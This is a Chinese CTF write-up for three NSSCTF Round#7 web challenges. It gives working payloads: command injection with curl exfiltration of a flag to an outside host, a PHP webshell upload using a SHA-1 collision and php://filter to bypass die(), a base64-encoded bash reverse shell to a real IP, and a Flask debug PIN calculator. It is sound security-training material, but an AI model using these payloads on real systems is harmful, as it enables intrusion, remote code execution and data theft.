NSSCTF Round#7部分wp

Web

ec_RCE

源码:

<!-- A EZ RCE IN REALWORLD _ FROM CHINA.TW -->
<!-- By 探姬 -->
<?PHP
    
    if(!isset($_POST["action"]) && !isset($_POST["data"]))
        show_source(__FILE__);

    putenv('LANG=zh_TW.utf8'); 

    $action = $_POST["action"];
    $data = "'".$_POST["data"]."'";

    $output = shell_exec("/var/packages/Java8/target/j2sdk-image/bin/java -jar jar/NCHU.jar $action $data");
    echo $output;    
?>

啥都没过滤,直接拼接就行

payload

1 action=;cat /flag
2 action=;curl vpsip:port/`cat /flag`

0o0

参考链接:


目录扫描发现.DS_Store泄露,使用ds_store_exp发现存在Ns_SCtF.php

Ns_SCtF.php

<?php
error_reporting(0);
highlight_file(__FILE__);

$NSSCTF = $_GET['NSSCTF'] ?: '';
$NsSCTF = $_GET['NsSCTF'] ?: '';
$NsScTF = $_GET['NsScTF'] ?: '';
$NsScTf = $_GET['NsScTf'] ?: '';
$NSScTf = $_GET['NSScTf'] ?: '';
$nSScTF = $_GET['nSScTF'] ?: '';
$nSscTF = $_GET['nSscTF'] ?: '';

if ($NSSCTF != $NsSCTF && sha1($NSSCTF) === sha1($NsSCTF)) {
    if (!is_numeric($NsScTF) && in_array($NsScTF, array(1))) {
        if (file_get_contents($NsScTf) === "Welcome to Round7!!!") {
            if (isset($_GET['nss_ctfer.vip'])) {
                if ($NSScTf != 114514 && intval($NSScTf, 0) === 114514) {
                    $nss = is_numeric($nSScTF) and is_numeric($nSscTF) !== "NSSRound7";
                    if ($nss && $nSscTF === "NSSRound7") {
                        if (isset($_POST['submit'])) {
                            $file_name = urldecode($_FILES['file']['name']);
                            $path = $_FILES['file']['tmp_name'];
                            if(strpos($file_name, ".png") == false){
                                die("NoO0P00oO0! Png! pNg! pnG!");
                            }
                            $content = file_get_contents($path);
                            $real_content = '<?php die("Round7 do you like");'. $content . '?>';
                            $real_name = fopen($file_name, "w");
                            fwrite($real_name, $real_content);
                            fclose($real_name);
                            echo "OoO0o0hhh.";
                        } else {
                            die("NoO0oO0oO0!");
                        }
                    } else {
                        die("N0o0o0oO0o!");
                    }
                } else {
                    die("NoOo00O0o0!");
                }
            } else {
                die("Noo0oO0oOo!");
            }
        } else {
            die("NO0o0oO0oO!");
        }
    } else {
        die("No0o0o000O!");
    }
} else {
    die("NO0o0o0o0o!");
}

。。。。。。。

太简单就不解释了

payload

http://43.142.108.3:28142/Ns_SCtF.php?NSSCTF=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01%7FF%DC%93%A6%B6%7E%01%3B%02%9A%AA%1D%B2V%0BE%CAg%D6%88%C7%F8K%8CLy%1F%E0%2B%3D%F6%14%F8m%B1i%09%01%C5kE%C1S%0A%FE%DF%B7%608%E9rr/%E7%ADr%8F%0EI%04%E0F%C20W%0F%E9%D4%13%98%AB%E1.%F5%BC%94%2B%E35B%A4%80-%98%B5%D7%0F%2A3.%C3%7F%AC5%14%E7M%DC%0F%2C%C1%A8t%CD%0Cx0Z%21Vda0%97%89%60k%D0%BF%3F%98%CD%A8%04F%29%A1&NsSCTF=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01sF%DC%91f%B6%7E%11%8F%02%9A%B6%21%B2V%0F%F9%CAg%CC%A8%C7%F8%5B%A8Ly%03%0C%2B%3D%E2%18%F8m%B3%A9%09%01%D5%DFE%C1O%26%FE%DF%B3%DC8%E9j%C2/%E7%BDr%8F%0EE%BC%E0F%D2%3CW%0F%EB%14%13%98%BBU.%F5%A0%A8%2B%E31%FE%A4%807%B8%B5%D7%1F%0E3.%DF%93%AC5%00%EBM%DC%0D%EC%C1%A8dy%0Cx%2Cv%21V%60%DD0%97%91%D0k%D0%AF%3F%98%CD%A4%BCF%29%B1&NsScTF=1+&NsScTf=data://text/plain,Welcome to Round7!!!&nss[ctfer.vip=1&NSScTf=0x1BF52&nSScTF=1&nSscTF=NSSRound7

POST:submit=1

然后就是后面的会写文件,且目标文件名为我们上传的文件名

但是前面会拼接<?php die("Round7 do you like");这里就是利用base64的宽松性

因为base64编码进行解码的话只会识别那个64个字符,所以这里的<?php die("Round7 do you like");就会被当做phpdieRound7doyoulike进行解码

因为这里只有21个字符,而base64解码是以4个字节为一组的,所以要在后面加上3个字符来凑成4的倍数

同时fopen()是支持使用php伪协议的,所以只要我们把payload进行base64编码,然后使用伪协议进行解码,就可以把前面的die去除掉

具体的可以看p佬的谈一谈php://filter的妙用

上传文件的内容:

aaaPD9waHAgaWYoJF9QT1NUWzFdKXtldmFsKCRfUE9TVFsxXSk7fWVsc2V7cGhwaW5mbygpO30=
aaa#<?php if($_POST[1]){eval($_POST[1]);}else{phpinfo();}

文件名为php://filter/convert.base64-decode/resource=1.png.php,在windows上可以进行url编码一次,得到

%70%68%70%3A%2F%2F%66%69%6C%74%65%72%2F%63%6F%6E%76%65%72%74%2E%62%61%73%65%36%34%2D%64%65%63%6F%64%65%2F%72%65%73%6F%75%72%63%65%3D%31%2E%70%6E%67%2E%70%68%70

然后使用apifox进行发包,在body参数里面使用参数类型为file,参数名为file,进行文件上传

访问1.png.php,获得shell

image-20230128224338474

flag在/home目录下

ShadowFlag

  • 算pin码
  • /proc/??/fd

进去获得源码

from flask import Flask, request
import os
from time import sleep

app = Flask(__name__)

flag1 = open("/tmp/flag1.txt", "r")
with open("/tmp/flag2.txt", "r") as f:
    flag2 = f.read()
tag = False


@app.route("/")
def index():
    with open("app.py", "r+") as f:
        return f.read()


@app.route("/shell", methods=['POST'])
def shell():
    global tag
    if tag != True:
        global flag1
        del flag1
        tag = True
    os.system("rm -f /tmp/flag1.txt /tmp/flag2.txt")
    action = request.form["act"]
    if action.find(" ") != -1:
        return "Nonono"
    else:
        os.system(action)
    return "Wow"


@app.errorhandler(404)
def error_date(error):
    sleep(5)
    return "扫扫扫,扫啥东方明珠呢[怒]"


if __name__ == "__main__":
    app.run()

先反弹shell,过滤了空格,使用%09替代

payload:

act=echo%09YmFzaCAtaSAmPiAvZGV2L3RjcC8xMTAuNDAuMTkzLjIwMi85OTk5IDA%2bJjE=|base64%09-d|bash

且访问路由/console发现开起来debug模式,又因为获得了shell,所以可以去计算pin码

参考文章:Flask debug模式算pin码

找到以下内容

  • /sys/class/net/eth0/address

    image-20230129152827903

  • /proc/sys/kernel/random/boot_id

    image-20230129152849811

  • /proc/self/cgroup

    image-20230129152920854

然后放进脚本,获得pin码

#sha1
import hashlib
from itertools import chain
probably_public_bits = [
    'ctf'# /etc/passwd
    'flask.app',# 默认值
    'Flask',# 默认值
    '/usr/local/lib/python3.10/site-packages/flask/app.py' # 报错得到
]

private_bits = [
    '2485376942619',#  /sys/class/net/eth0/address 16进制转10进制
    #machine_id由三个合并(docker就后两个):1./etc/machine-id 2./proc/sys/kernel/random/boot_id 3./proc/self/cgroup
    'e2a9f272-7959-44cc-86ce-6cfd758857a7213e47bb4c8bf369452b861c1ab342a62729010067ad0ad1ad8a92bc453a6c94'#  /proc/self/cgroup
]

h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode('utf-8')
    h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
    h.update(b'pinsalt')
    num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv =None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                          for x in range(0, len(num), group_size))
            break
    else:
        rv = num

print(rv)

然后在报错的app.py那一段点击右边的console,输入pin码

因为flag2没有被del,所以可以获取

image-20230129153420918

然后在app.py中,/tmp/flag1.txt被打开后,并没有使用close(),所以虽然被删除了,但还是存在文件描述符,所以可以去找文件描述符来得到flag1

ll /proc/??/fd

image-20230129153556060

cat /proc/17/fd/3

得到flag1,拼接起来变成完整的flag

  • 2
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 5
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 5
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

v2ish1yan

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值